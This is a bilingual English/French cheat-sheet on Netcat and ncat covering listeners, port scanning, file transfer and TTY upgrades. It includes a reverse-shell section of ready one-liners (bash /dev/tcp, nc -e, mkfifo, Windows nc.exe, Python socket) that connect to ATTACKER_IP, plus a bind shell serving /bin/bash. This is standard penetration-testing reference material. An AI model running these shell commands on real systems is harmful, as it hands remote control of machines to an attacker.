Netcat
Le « couteau suisse » du réseau. Crée des connexions TCP/UDP pour les reverse shells, transferts de fichiers, scans de ports, et bannières de service. The 'Swiss army knife' of networking. Creates TCP/UDP connections for reverse shells, file transfers, port scanning, and service banners.
↗ https://nmap.org/ncat/Overview
Netcat (nc) creates arbitrary TCP/UDP connections and listeners. Available in multiple variants: traditional nc, OpenBSD nc, and ncat (from nmap project). It’s almost always pre-installed and is the backbone of basic reverse/bind shells.
Listeners & Connections
Listen on port (wait for connection)
nc -lvnp 4444
Connect to listener
nc 10.10.10.1 4444
UDP listener
nc -lvnpu 4444
Verbose listener showing source IP
nc -lvnp 4444 -v
Reverse Shells
Bash reverse shell (target)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Netcat reverse shell
nc ATTACKER_IP 4444 -e /bin/bash
Without -e flag (older nc versions)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP 4444 >/tmp/f
Windows cmd reverse shell
nc.exe ATTACKER_IP 4444 -e cmd.exe
Python fallback
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
Bind Shells
Bind shell — target listens, attacker connects Target:
nc -lvnp 4444 -e /bin/bash
Attacker:
nc 10.10.10.VICTIM 4444
File Transfer
Receive file (listener side)
nc -lvnp 4444 > received_file.txt
Send file (connecting side)
nc 10.10.10.1 4444 < file_to_send.txt
# Send directory (tar over nc)
# Sender:
tar czf - /path/to/dir | nc 10.10.10.1 4444
# Receiver:
nc -lvnp 4444 | tar xzf -
Banner Grabbing & Port Scanning
# Grab banner from a service
echo "" | nc -nv 10.10.10.1 80
echo "HEAD / HTTP/1.0\r\n\r\n" | nc 10.10.10.1 80
Simple TCP port scan
nc -zv 10.10.10.1 1-1000 2>&1 | grep succeeded
UDP port check
nc -zuv 10.10.10.1 53
ncat (nmap’s version — more features)
SSL encrypted listener
ncat --ssl -lvnp 4444
Connect to SSL listener
ncat --ssl 10.10.10.1 4444
Allow only specific IP to connect
ncat -lvnp 4444 --allow 10.10.10.1
Broker mode (relay between two connections)
ncat --broker -lvnp 4444
Chat server (multiple clients)
ncat --broker -lvnp 4444 -v
TTY Upgrade After Shell
# After getting a raw reverse shell, upgrade to full TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm; stty rows 50 cols 200
Tips
- Use
ncat(from nmap) when you need SSL, broker mode, or access control -e /bin/bashdoesn’t work on all nc versions — use the mkfifo workaround- For fully interactive shells, prefer socat or upgrade with Python pty
Flag reference
nc [options] [host] [port]
-l Listen mode
-v Verbose
-n Don't resolve DNS
-p port Port number
-u UDP mode
-z Zero-I/O mode (scanning)
-w secs Timeout
-e prog Execute program after connect
-k Keep listening after connection closes (OpenBSD nc)
ncat extras:
--ssl Use SSL/TLS
--allow host Whitelist IP
--deny host Blacklist IP
--broker Relay mode
--max-conns N Max connections
Vue d’ensemble
Netcat (nc) crée des connexions et des listeners TCP/UDP arbitraires. Disponible en plusieurs variantes : nc traditionnel, nc OpenBSD, et ncat (du projet nmap). Il est presque toujours préinstallé et constitue l’ossature des reverse/bind shells basiques.
Listeners et connexions
# Écouter sur un port (attendre une connexion)
nc -lvnp 4444
# Se connecter à un listener
nc 10.10.10.1 4444
# Listener UDP
nc -lvnpu 4444
# Listener verbeux affichant l'IP source
nc -lvnp 4444 -v
Reverse shells
# Reverse shell bash (cible)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Reverse shell netcat
nc ATTACKER_IP 4444 -e /bin/bash
# Sans le flag -e (anciennes versions de nc)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP 4444 >/tmp/f
# Reverse shell cmd Windows
nc.exe ATTACKER_IP 4444 -e cmd.exe
# Solution de repli Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
Bind shells
# Bind shell : la cible écoute, l'attaquant se connecte
# Cible :
nc -lvnp 4444 -e /bin/bash
# Attaquant :
nc 10.10.10.VICTIM 4444
Transfert de fichiers
# Recevoir un fichier (côté listener)
nc -lvnp 4444 > received_file.txt
# Envoyer un fichier (côté connexion)
nc 10.10.10.1 4444 < file_to_send.txt
# Envoyer un répertoire (tar via nc)
# Émetteur :
tar czf - /path/to/dir | nc 10.10.10.1 4444
# Récepteur :
nc -lvnp 4444 | tar xzf -
Grab de bannière et scan de ports
# Récupérer la bannière d'un service
echo "" | nc -nv 10.10.10.1 80
echo "HEAD / HTTP/1.0\r\n\r\n" | nc 10.10.10.1 80
# Scan de ports TCP simple
nc -zv 10.10.10.1 1-1000 2>&1 | grep succeeded
# Vérification de port UDP
nc -zuv 10.10.10.1 53
ncat (version nmap : plus de fonctionnalités)
# Listener chiffré SSL
ncat --ssl -lvnp 4444
# Se connecter à un listener SSL
ncat --ssl 10.10.10.1 4444
# N'autoriser qu'une IP spécifique à se connecter
ncat -lvnp 4444 --allow 10.10.10.1
# Mode broker (relais entre deux connexions)
ncat --broker -lvnp 4444
# Serveur de chat (plusieurs clients)
ncat --broker -lvnp 4444 -v
Upgrade TTY après un shell
# Après avoir obtenu un reverse shell brut, monter en TTY complet :
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm; stty rows 50 cols 200
Conseils
- Utiliser
ncat(de nmap) quand vous avez besoin de SSL, du mode broker, ou du contrôle d’accès -e /bin/bashne fonctionne pas sur toutes les versions de nc : utiliser le contournement mkfifo- Pour des shells pleinement interactifs, préférer socat ou monter en TTY avec Python pty
Référence des flags
nc [options] [host] [port]
-l Listen mode
-v Verbose
-n Don't resolve DNS
-p port Port number
-u UDP mode
-z Zero-I/O mode (scanning)
-w secs Timeout
-e prog Execute program after connect
-k Keep listening after connection closes (OpenBSD nc)
ncat extras:
--ssl Use SSL/TLS
--allow host Whitelist IP
--deny host Blacklist IP
--broker Relay mode
--max-conns N Max connections